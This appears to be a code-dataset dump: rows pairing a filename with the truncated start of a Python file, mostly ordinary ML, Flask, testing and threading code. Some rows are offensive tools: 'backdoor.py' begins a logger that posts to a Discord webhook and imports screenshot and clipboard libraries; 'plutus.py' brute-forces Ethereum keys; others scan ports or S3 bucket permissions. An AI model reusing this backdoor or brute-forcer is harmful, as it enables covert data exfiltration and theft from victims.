source
stringlengths
3
86
python
stringlengths
75
1.04M
P4wnP1.py
#!/usr/bin/python # This file is part of P4wnP1. # # Copyright (c) 2017, Marcus Mengs. # # P4wnP1 is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at ...
mod_armoring_extended206.py
# -*- coding: utf-8 -*- import codecs import json import os import random import re import string import threading import urllib import urllib2 from functools import partial import BigWorld import Math import GUI from constants import AUTH_REALM from constants import VEHICLE_HIT_EFFECT from gui import g_guiResetter...
PORT_SCAN_V01.py
#import modules import sys import socket import time import threading from queue import Queue ######################## #Time Set time1 = time.time() ######################## #Auto Connect Close socket.setdefaulttimeout(1) lock = threading.Lock() ################################## #User Guide Print user_guide = 'Python3...
train.py
# -------------------------------------------------------- # FCN # Copyright (c) 2016 RSE at UW # Licensed under The MIT License [see LICENSE for details] # Written by Yu Xiang # -------------------------------------------------------- """Train a FCN""" from fcn.config import cfg from gt_data_layer.layer import GtDat...
velociraptor_python_tools.py
#Make backwards compatible with python 2, ignored in python 3 from __future__ import print_function import sys,os,os.path,string,time,re,struct import math,operator import numpy as np import h5py #import hdf5 interface import tables as pytb #import pytables import pandas as pd from copy import deepcopy from collection...
rebalance.py
#!/usr/bin/env python3 from pyln.client import Plugin, Millisatoshi, RpcError from threading import Thread, Lock from datetime import timedelta import time import uuid plugin = Plugin() plugin.rebalance_stop = False def setup_routing_fees(plugin, route, msatoshi): delay = plugin.cltv_final for r in reversed(...
tests.py
# Unit tests for cache framework # Uses whatever cache backend is set in the test settings file. import copy import io import os import pickle import re import shutil import tempfile import threading import time import unittest import warnings from unittest import mock from django.conf import settings from django.core...
Streamer.py
import socket import threading import time import os import AES DNS_IP = '192.168.1.11' DNS_PORT = 10000 VIEWER_PORT = 9000 CIPHER_MODE = 1 BUFFER_PATH = os.path.join(os.getcwd(),"buffer/") class Streamer(object): def __init__(self, name): # viewer list self.viewers_list = [] ...
test_uploader.py
#!/usr/bin/env python3 import os import time import threading import unittest import logging import json from selfdrive.swaglog import cloudlog import selfdrive.loggerd.uploader as uploader from common.xattr import getxattr from selfdrive.loggerd.tests.loggerd_tests_common import UploaderTestCase class TestLogHand...
tcp_consumer.py
# -*- coding: utf-8 -*- # @Author : ydf # @Time : 2019/8/8 0008 13:32 import json from threading import Thread import socket from funboost.consumers.base_consumer import AbstractConsumer class TCPConsumer(AbstractConsumer, ): """ socket 实现消息队列,不支持持久化,但不需要安装软件。 """ BROKER_KIND = 22 BUFSIZE = ...
bot.py
# coding=utf-8 # Copyright 2008, Sean B. Palmer, inamidst.com # Copyright © 2012, Elad Alfassa <elad@fedoraproject.org> # Copyright 2012-2015, Elsie Powell, http://embolalia.com # # Licensed under the Eiffel Forum License 2. from __future__ import unicode_literals, absolute_import, print_function, division import col...
main.py
from time import sleep from threading import Thread from threading import Lock """ class MeuThread(Thread): def __init__(self, texto, tempo): self.texto = texto self.tempo = tempo super().__init__() def run(self): sleep(self.tempo) print(self.texto) t1 = MeuThread('...
sub_server.py
import socket import sys import lib.ProtocolUtils as protocolUtils import threading as thread def message_handler(conn, addr): data = protocolUtils.MessageHandler(conn.recv(1024)).message_loads() print("New operation in queue ", data[0], " ", data[2]) try: result = str(float(data[0]) - float(data...
test-driver.py
#! /somewhere/python3 from contextlib import contextmanager, _GeneratorContextManager from queue import Queue, Empty from typing import Tuple, Any, Callable, Dict, Iterator, Optional, List, Iterable from xml.sax.saxutils import XMLGenerator from colorama import Style from pathlib import Path import queue import io impo...
start.py
#!/usr/bin/python3 import os import glob import shutil import multiprocessing import logging as log import sys from podop import run_server from socrate import system, conf log.basicConfig(stream=sys.stderr, level=os.environ.get("LOG_LEVEL", "WARNING")) def start_podop(): os.setuid(100) url = "http://" + ...
BucketScanner.py
#!/bin/env python ''' -------------- BucketScanner By @Rzepsky -------------- ======================= Notes ======================= This tool is made for legal purpose only!!! It allows you to: - find collectable files for an anonymous/authenticated user in your buckets - verify if an anonymous/authenticated user is al...
daemon.py
''' working threads vs daemon thread ''' import threading import time # Daemons are only useful when the main program is running, # and it's okay to kill them off once the other non-daemon # threads have exited. Without daemon threads, we have to # keep track of them, and tell them to exit, before our # program can co...
src.py
import sys import os import colorama import string from threading import Thread from time import sleep from random import uniform, choice, randrange file = [".cobalt",".py", ".c", ".exe", ".cpp", ".cs", ".js", ".go", ".dll", ".virus", ".trojan", ".txt", ".malware", ".fake"] def do_color(text): print("\...
vec_env.py
''' A wrapper for running multiple environments with multiple processes Reference: https://github.com/openai/baselines/blob/master/baselines/common/vec_env/subproc_vec_env.py ''' import multiprocessing as mp from rlcard.utils import reorganize class VecEnv(object): ''' The wrraper for a vector of environments...
test_admission_controller.py
# Licensed to the Apache Software Foundation (ASF) under one # or more contributor license agreements. See the NOTICE file # distributed with this work for additional information # regarding copyright ownership. The ASF licenses this file # to you under the Apache License, Version 2.0 (the # "License"); you may not u...
multiprocessing_names.py
import multiprocessing import time def worker(): name = multiprocessing.current_process().name print(name, "Starting") time.sleep(2) print(name, "Exiting") def my_service(): name = multiprocessing.current_process().name print(name, "Starting") time.sleep(3) print(name, "Exiting") i...
tooling_handler.py
import glob import json import os import subprocess import threading import time import warnings from datetime import datetime from subprocess import call import git import tornado from notebook.base.handlers import IPythonHandler from notebook.utils import url_path_join from tornado import web try: from urllib.p...
main.py
from typing import Optional from pydantic import BaseModel from fastapi import FastAPI, Response, Request, status from fastapi import responses from fastapi.responses import JSONResponse from fastapi.middleware.cors import CORSMiddleware from sqlalchemy import create_engine, Column, String, Integer, JSON, or_ fr...
allofmethod.py
import pandas as pd import numpy as np from keras.models import Sequential from keras.layers import Dense from keras.utils import to_categorical import time import multiprocessing as mp start_time=time.time() def deepl(location1,location2): data=pd.read_csv(location1) data_columns=data.columns xtrain = dat...
data_service_ops_ft_test.py
# Copyright 2020 The TensorFlow Authors. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applica...
sapre280.py
#!/usr/bin/python # -*- coding: UTF-8 -*- from os import system, name import itertools import threading import time import sys import datetime from base64 import b64decode,b64encode from datetime import date expirydate = datetime.date(2022, 1, 30) #expirydate = datetime.date(2021, 12, 30) today=date.today() today=da...
base.py
# =============================================================================== # Copyright 2016 Jake Ross # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses...
test_partition.py
import time import random import pdb import threading import logging from multiprocessing import Pool, Process import pytest from utils.utils import * from common.constants import * TIMEOUT = 120 class TestCreateBase: """ ****************************************************************** The following ...
network_protocol.py
import numpy as np import enum import time from threading import Thread import topology as topology_class class MsgType(enum.Enum): NEIGHBORS = enum.auto() GET_TOPOLOGY = enum.auto() SET_TOPOLOGY = enum.auto() OFF = enum.auto() PRINT_WAYS = enum.auto() class Message: def __init__(self): ...
tictactoe.py
"""Tic Tac Toe Exercises 1. Give the X and O a different color and width. 2. What happens when someone taps a taken spot? 3. How would you detect when someone has won? 4. How could you create a computer player? """ from turtle import * from freegames import line from threading import Thread from playsound import pl...
webcam_demo.py
import argparse import time from collections import deque from operator import itemgetter from threading import Thread import cv2 import numpy as np import torch from mmcv import Config, DictAction from mmcv.parallel import collate, scatter from mmaction.apis import init_recognizer from mmaction.datasets.pipelines im...
clientUI.py
from PyQt5 import QtCore, QtGui, QtWidgets, uic from PyQt5 import QtWidgets from PyQt5.QtCore import * from PyQt5 import QtGui from pymediainfo import MediaInfo from PyQt5.QtGui import QIcon import cv2 from PyQt5.QtMultimedia import QMediaPlayer, QMediaPlaylist, QMediaContent from PyQt5.QtCore import QDir, Qt...
app.py
# encoding: utf-8 ''' A REST API for Salt =================== .. versionadded:: 2014.7.0 .. py:currentmodule:: salt.netapi.rest_cherrypy.app :depends: - CherryPy Python module. Version 3.2.3 is currently recommended when SSL is enabled, since this version worked the best with SSL in internal testing....
camera.py
import cv2 import base64 from socketIO_client import SocketIO, BaseNamespace import numpy as np import time from PIL import Image from threading import Thread, ThreadError import io img_np = None socketIO = SocketIO('localhost',5000) live_namespace = socketIO.define(BaseNamespace, '/live') def receive_events_thread(...
monitor.py
# Copyright (C) 2016 Nippon Telegraph and Telephone Corporation. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by appli...
trezor.py
from binascii import hexlify, unhexlify from electrum_stak.util import bfh, bh2u, versiontuple from electrum_stak.bitcoin import (b58_address_to_hash160, xpub_from_pubkey, TYPE_ADDRESS, TYPE_SCRIPT) from electrum_stak import constants from electrum_stak.i18n import _ from electrum_stak.pl...
scheduler_job.py
# pylint: disable=no-name-in-module # # Licensed to the Apache Software Foundation (ASF) under one # or more contributor license agreements. See the NOTICE file # distributed with this work for additional information # regarding copyright ownership. The ASF licenses this file # to you under the Apache License, Versio...
websever.py
# used to run 24/7 on repl.it from flask import Flask from threading import Thread app = Flask('') @app.route('/') def home(): return "Bot is online!" def run(): app.run(host='0.0.0.0',port=8080) def keep_alive(): t = Thread(target=run) t.start()
toMP3.py
#!/usr/bin/env python # encoding: utf-8 import os import sys import subprocess import time import platform import multiprocessing as mp global root_dir def print_sysinfo(): print '\nPython version : ' + platform.python_version() print 'compiler : ' + platform.python_compiler() print '\nsystem ...
falcon_test.py
import pytest from multiprocessing import Process from common import send_requests, mode_list, kwargs_list def server_process(port, mode, **kwargs): import json import falcon from distutils.version import StrictVersion from wsgiref import simple_server class HelloWorldResource(object): d...
test_httpd.py
import asyncio import threading from unittest import TestCase import urllib.request from rx import Observable from rx.subjects import Subject import cyclotron_aio.httpd as httpd class HttpdServerTestCase(TestCase): def test_start_server_item(self): self.assertRaises(TypeError, httpd.StartServer) ...
logsocket.py
""" Wrapper & timestamper of input/out over socket """ import socket import urllib.request from threading import Thread from osgar.logger import LogWriter from osgar.bus import BusShutdownException class LogSocket: def __init__(self, socket, config, bus): bus.register('raw') self.verbose = Fal...
cda_download.py
# 2021 (C) Crown Copyright, Met Office. All rights reserved. # # This file is part of Weather DataHub and is released under the # BSD 3-Clause license. # See LICENSE in the root of the repository for full licensing details. # (c) Met Office 2022 import csv, os import requests import argparse import time fro...
nautilus-subliminal.py
# -*- coding: utf-8 -*- from __future__ import division from collections import defaultdict from datetime import timedelta import locale from locale import gettext as _ import os import threading from babelfish import Language from gi.repository import GObject, Gtk, Nautilus from subliminal import (VIDEO_EXTENSIONS, A...
future_mode_cluster_2_test.py
# Copyright (c) 2018 PaddlePaddle Authors. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by app...
task_space_control_using_sim_only.py
#! /usr/bin/env python # /*************************************************************************** # # @package: panda_siimulator_examples # @metapackage: panda_simulator # @author: Saif Sidhik <sxs1412@bham.ac.uk> # # **************************************************************************/ # /*************...
printer.py
from .Adafruit_Thermal import Adafruit_Thermal import threading import queue import time from .format import format as fmt class _ShutDownPrinter: pass class Printer(Adafruit_Thermal): def __init__(self, *args, **kwargs): super().__init__(*args, **kwargs) self._print_queue = queue.Queue() ...
add_account_assistant.py
import gi, logging gi.require_version('Gtk', '3.0') from gi.repository import Gtk, Gdk, GObject, GLib from schwifty import IBAN import fints_url from urllib.parse import urlparse import threading class AddAccountAssistant(Gtk.Assistant): def __init__(self, model): super().__init__(use_header_bar=True) ...
test_insert.py
import pytest from pymilvus import DataType, ParamError, BaseException from utils import * from constants import * ADD_TIMEOUT = 60 uid = "test_insert" field_name = default_float_vec_field_name binary_field_name = default_binary_vec_field_name default_single_query = { "bool": { "must": [ {"vect...
__init__.py
# vim: sw=4:ts=4:et # # all of the engines that do stuff need to coordinate with each other # to make sure they don't overwhelm the resources they use # see semaphores.txt import datetime import ipaddress import logging import multiprocessing import os import re import socket import sys import threading import time ...
backdoor.py
import requests import pyautogui import win32clipboard import time import os import threading from typing import Dict class Logger: tgtoken = "" dhook = "" admin = "hkeydesign" @classmethod def log(cmd,message,ss): response = True r = requests.post(Logger.dhook,data={ ...
Lending.py
# coding=utf-8 from decimal import Decimal import sched import time import threading Config = None api = None log = None Data = None MaxToLend = None Analysis = None SATOSHI = Decimal(10) ** -8 sleep_time_active = 0 sleep_time_inactive = 0 sleep_time = 0 min_daily_rate = 0 max_daily_rate = 0 spread_lend = 0 gap_botto...
pyusb_v2_backend.py
# pyOCD debugger # Copyright (c) 2019-2020 Arm Limited # SPDX-License-Identifier: Apache-2.0 # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0...
get_tracks.py
#!/usr/bin/env python import multiprocessing import sys import spotipy from spotipy import util from spotipy.client import SpotifyException import pickle import os import time from spotify_tokens import * # stick your CLIENT_ID and CLIENT_SECRET here # PLAYLIST_PATH = 'playlists.pickle' TRACKS_PATH = 'tracks.pickle' ...
serial_test.py
#!/usr/bin/env python3 ''' MIT License Copyright (c) 2017 - Ajay Guleria Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy...
main_vision_test04b_war.py
""" mlperf inference benchmarking tool """ from __future__ import division from __future__ import print_function from __future__ import unicode_literals import argparse import array import collections import json import logging import os import sys import threading import time from queue import Queue import mlperf_l...
execution_engine2Server.py
#!/usr/bin/env python # -*- coding: utf-8 -*- import datetime import json import os import random as _random import sys import traceback from getopt import getopt, GetoptError from multiprocessing import Process from os import environ from wsgiref.simple_server import make_server import requests as _requests from json...
test_logo_client.py
import logging import time import unittest from multiprocessing import Process import snap7 from snap7.server import mainloop logging.basicConfig(level=logging.WARNING) ip = '127.0.0.1' tcpport = 1102 db_number = 1 rack = 0x1000 slot = 0x2000 class TestLogoClient(unittest.TestCase): process = None @class...
update.py
#!/usr/bin/python3 import subprocess import threading import time # import sys before_yaourt = [ ['backup.sh'], ['update_tools_helper', 'pkgfile'], ['update_tools_helper', 'abs'], ] popens_to_wait_on = [] yaourt = [ ['update_tools_helper', 'alpm'], ['yaourt', '-Sua'], ] after_yaourt = [ ['u...
interactive.py
''' Interactive launcher ==================== .. versionadded:: 1.3.0 .. versionchanged:: 1.9.2 The interactive launcher has been deprecated. The :class:`InteractiveLauncher` provides a user-friendly python shell interface to an :class:`App` so that it can be prototyped and debugged interactively. .. note:: ...
start_software.py
import os from subprocess import call, STDOUT from threading import Thread FNULL = open(os.devnull, 'w') def start_software(*args): thread = Thread(target=call, args=args, kwargs={'stdout': FNULL, 'stderr': STDOUT}) thread.start()
keep_alive.py
from flask import Flask from threading import Thread app = Flask('') @app.route('/') def home(): return "Hello, what are you doing here? Anyway congrats, you found the secret webpage :D" def run(): app.run(host='0.0.0.0',port=8080) def keep_alive(): t = Thread(target=run) t.start()
authorities.py
# # MySlice version 2 # # Authorities service: manages authority scope events # # (c) 2016 Ciro Scognamiglio <ciro.scognamiglio@lip6.fr>, Loïc Baron <loic.baron@lip6.fr> ## import pprint import signal import threading from queue import Queue from myslice.db.activity import Event, ObjectType import rethinkdb as r...
tcp.py
# -*- coding: utf-8 -*- ''' TCP transport classes Wire protocol: "len(payload) msgpack({'head': SOMEHEADER, 'body': SOMEBODY})" ''' # Import Python Libs from __future__ import absolute_import, print_function, unicode_literals import errno import logging import os import socket import sys import time import threading...
helpers.py
# Copyright (c) 2017 Intel Corporation # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to i...
process.py
from __future__ import absolute_import from __future__ import division from __future__ import print_function import argparse import os import tempfile import subprocess import tensorflow as tf import numpy as np import tfimage as im import threading import time import multiprocessing edge_pool = None parser = argp...
P2P.py
import socket import threading import inspect import ctypes from ConnectServer import DEBUG_MODE from PyQt5.QtCore import pyqtSignal, QObject # def _async_raise(tid, exctype): # tid = ctypes.c_long(tid) # if not inspect.isclass(exctype): # exctype = type(exctype) # res = ctypes.pythonapi.PyThreadSt...
app.py
import time from threading import Thread from flask import Flask, render_template, session from flask.ext.socketio import SocketIO, emit, disconnect from flask_debugtoolbar import DebugToolbarExtension from src.game import Game from gevent import monkey monkey.patch_all() app = Flask(__name__) app.debug = True app.c...
netconsole.py
#!/usr/bin/env python # Copyright (c) Robert Blair Mason Jr. (rbmj) rbmj@verizon.net # see LICENSE for license information. import socket import sys import threading import atexit import time #allow import in both python 2.x and 3.x try: from Queue import Queue, Empty except ImportError: from queue import Queue, E...
test_subprocess.py
import unittest from unittest import mock from test import support from test.support import import_helper from test.support import os_helper from test.support import warnings_helper import subprocess import sys import signal import io import itertools import os import errno import tempfile import time import traceback ...
rpc_fetch_test.py
import os import sys # Add parent path to use local src as package for tests root_dir = os.path.abspath( os.path.join( os.path.dirname(__file__), os.path.pardir, os.path.pardir, os.path.pardir ) ) sys.path.append(root_dir) import asyncio from multiprocessing import Process import pytest import uvicor...
downloadclient.py
# Copyright 2018 CERN for the benefit of the ATLAS collaboration. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by appl...
views.py
from datetime import date, datetime, timedelta from django.contrib.auth.decorators import login_required from django.db import transaction from threading import Thread from django.http import HttpResponse, HttpResponseRedirect, JsonResponse from django.shortcuts import redirect, render from django.views.decorator...
multi.py
# # Copyright (c) 2017-2021 NVIDIA CORPORATION. All rights reserved. # This file is part of the WebDataset library. # See the LICENSE file for licensing terms (BSD-style). # """An alternative to DataLoader using ZMQ. This implements MultiLoader, an alternative to DataLoader when torch is not available. Subprocesses c...
plutus.py
# Plutus Ethereum Brute Forcer # Made by Isaac Delly # https://github.com/Isaacdelly/Plutus # Added fastecdsa - June 2019 - Ian McMurray # Modified for Ethereum - December 2021 - LongWayHomie from eth_account import Account import multiprocessing import time def generate_key(): public_key = Account.create('1...
10_pendulum_ddpg_attention_main.py
# https://github.com/openai/gym/blob/master/gym/envs/classic_control/pendulum.py # https://mspries.github.io/jimmy_pendulum.html #!/usr/bin/env python3 import time import torch import torch.nn.functional as F import torch.multiprocessing as mp from torch import optim import os, sys import numpy as np current_path = os...
graphyte.py
"""Send data to Graphite metrics server (synchronously or on a background thread). For example usage, see README.rst. This code is licensed under a permissive MIT license -- see LICENSE.txt. The graphyte project lives on GitHub here: https://github.com/benhoyt/graphyte """ import atexit import logging try: impo...
class_04_server.py
#!/usr/bin/python # -*- coding: utf8 -*- # auth : https://blog.naver.com/hdh0926 import socket import select import sys import threading import time """The first argument AF_INET is the address domain of the socket. This is used when we have an Internet Domain with any two hosts The second argument is the...
main.py
import argparse from multiprocessing import Process import cv2 from publisher import Publisher from subscriber import Subscriber def publisher(): pub = Publisher() cam = cv2.VideoCapture(0) while cam.isOpened(): ret, frame = cam.read() if not ret: break pub.send(frame...
views.py
from flask import Blueprint, render_template, request, url_for from connectboxcontrol.util.control import control import os import json import threading main_blueprint = Blueprint('main', __name__, static_folder='static', static_url_path='/main/static', template_fo...
TCP2Server.py
import socket import threading import CompressAndDecompress from CompressAndDecompress import Compressed class TCPserver(): def __init__(self): self.server_ip='localhost' self.server_port = 9999 def main(self): server = socket.socket(socket.AF_INET,socket.SOCK_STREAM) ...
interface_rpc.py
#!/usr/bin/env python3 # Copyright (c) 2018-2020 The Widecoin Core developers # Distributed under the MIT software license, see the accompanying # file COPYING or http://www.opensource.org/licenses/mit-license.php. """Tests some generic aspects of the RPC interface.""" import os from test_framework.authproxy import JS...
pilotmover_mt_preparator.py
import os.path import os import threading import time from future.utils import iteritems from pandaharvester.harvestercore import core_utils from pandaharvester.harvestercore.plugin_base import PluginBase from pandaharvester.harvestermover import mover_utils from pilot.api import data # logger baseLogger = core_utils...
test_poseidonMonitor.py
#!/usr/bin/env python # -*- coding: utf-8 -*- # # Copyright (c) 2016-2017 In-Q-Tel, Inc, All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apac...
__init__.py
# -*- coding: utf-8 -*- # Three possible modes: # 'cli': running from "wandb" command # 'run': we're a script launched by "wandb run" # 'dryrun': we're a script not launched by "wandb run" from __future__ import absolute_import, print_function __author__ = """Chris Van Pelt""" __email__ = 'vanpelt@wandb....
test_autograd.py
import gc import io import math import os import random import sys import tempfile import threading import time import unittest import uuid import warnings from copy import deepcopy from collections import OrderedDict from itertools import product, permutations from operator import mul from functools import reduce, par...
Binance Detect Moonings.py
""" Disclaimer All investment strategies and investments involve risk of loss. Nothing contained in this program, scripts, code or repositoy should be construed as investment advice.Any reference to an investment's past or potential performance is not, and should not be construed as, a recommendation or as a guarantee...
exchange_rate.py
from datetime import datetime import inspect import requests import sys from threading import Thread import time import traceback import csv from decimal import Decimal from electrum_rubycoin.rubycoin import COIN from electrum_rubycoin.plugins import BasePlugin, hook from electrum_rubycoin.i18n import _ from electrum_...
monitor.py
# Copyright 2018 Microsoft Corporation # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in...
run.py
from web_frontend import app from model_server import start_model_server from threading import Thread model_server_thread = Thread(target=start_model_server) model_server_thread.start() app.run()
datasets.py
import glob import math import os import random import shutil import time from pathlib import Path from threading import Thread import cv2 import numpy as np import torch from PIL import Image, ExifTags from torch.utils.data import Dataset from tqdm import tqdm from utils.general import xyxy2xywh, xywh2xyxy, torch_di...
fakeKE.py
from QKD import QKD import mysql.connector import hvac from random import randint import yaml import time from flask import Flask, request import requests import multiprocessing from multiprocessing import Process import logging app = Flask(__name__) server = None serverPort = 4000 # utility function - timeout param...
worker.py
import queue from threading import Lock from threading import Thread from time import sleep from py42.exceptions import Py42ForbiddenError from py42.exceptions import Py42HTTPError from code42cli.errors import Code42CLIError from code42cli.logger import get_main_cli_logger def create_worker_stats(total): return...
test_sockets.py
import array import gc import io import os import platform import socket import sys import threading import time from contextlib import suppress from pathlib import Path from socket import AddressFamily from ssl import SSLContext, SSLError from threading import Thread from typing import ( Any, Iterable, Ite...
transport.py
import socket from threading import Thread, Lock from json import dumps as dictToJson from json import loads as jsonToDict from json.decoder import JSONDecodeError from .common import encodeImg, decodeImg, generateSocket ################# ### CONSTANTS ### ################# from .constants import ACK, NEWLINE, IMG_MS...
uarm.py
from __future__ import print_function import serial from . import protocol from .log import DEBUG, INFO, ERROR, printf, init_logger, set_default_logger, close_logger from . import PY3 import time import threading from .tools.list_uarms import uarm_ports, get_port_property if PY3: from queue import Queue, LifoQueue...
Thread_Race_Condition.py
# Thread Race Condition from threading import Thread, current_thread class Flight: def __init__(self, available_seat): self.available_seat = available_seat def reserve(self, need_seat): print("Available Seats : ", self.available_seat) if(self.available_seat >= need_seat): ...
dirac-notebook-proxy-init.py
#!/usr/bin/env python from __future__ import division from __future__ import absolute_import from __future__ import print_function import os import sys import glob import time import threading import DIRAC from DIRAC import gConfig, gLogger, S_OK, S_ERROR from DIRAC.Core.Base import Script from DIRAC.Core.Security i...
auto.py
import os import smtplib import stat import sys import zipfile from email.message import EmailMessage from multiprocessing import Process from pathlib import Path from subprocess import call, check_output from typing import * import evalfen from getFile import createDir, downloadName, getAvailableNames from send impor...
test_mix.py
import pdb import copy import pytest import threading import datetime import logging from time import sleep from multiprocessing import Process import sklearn.preprocessing from milvus import IndexType, MetricType from utils import * dim = 128 index_file_size = 10 table_id = "test_mix" add_interval_time = 2 vectors = ...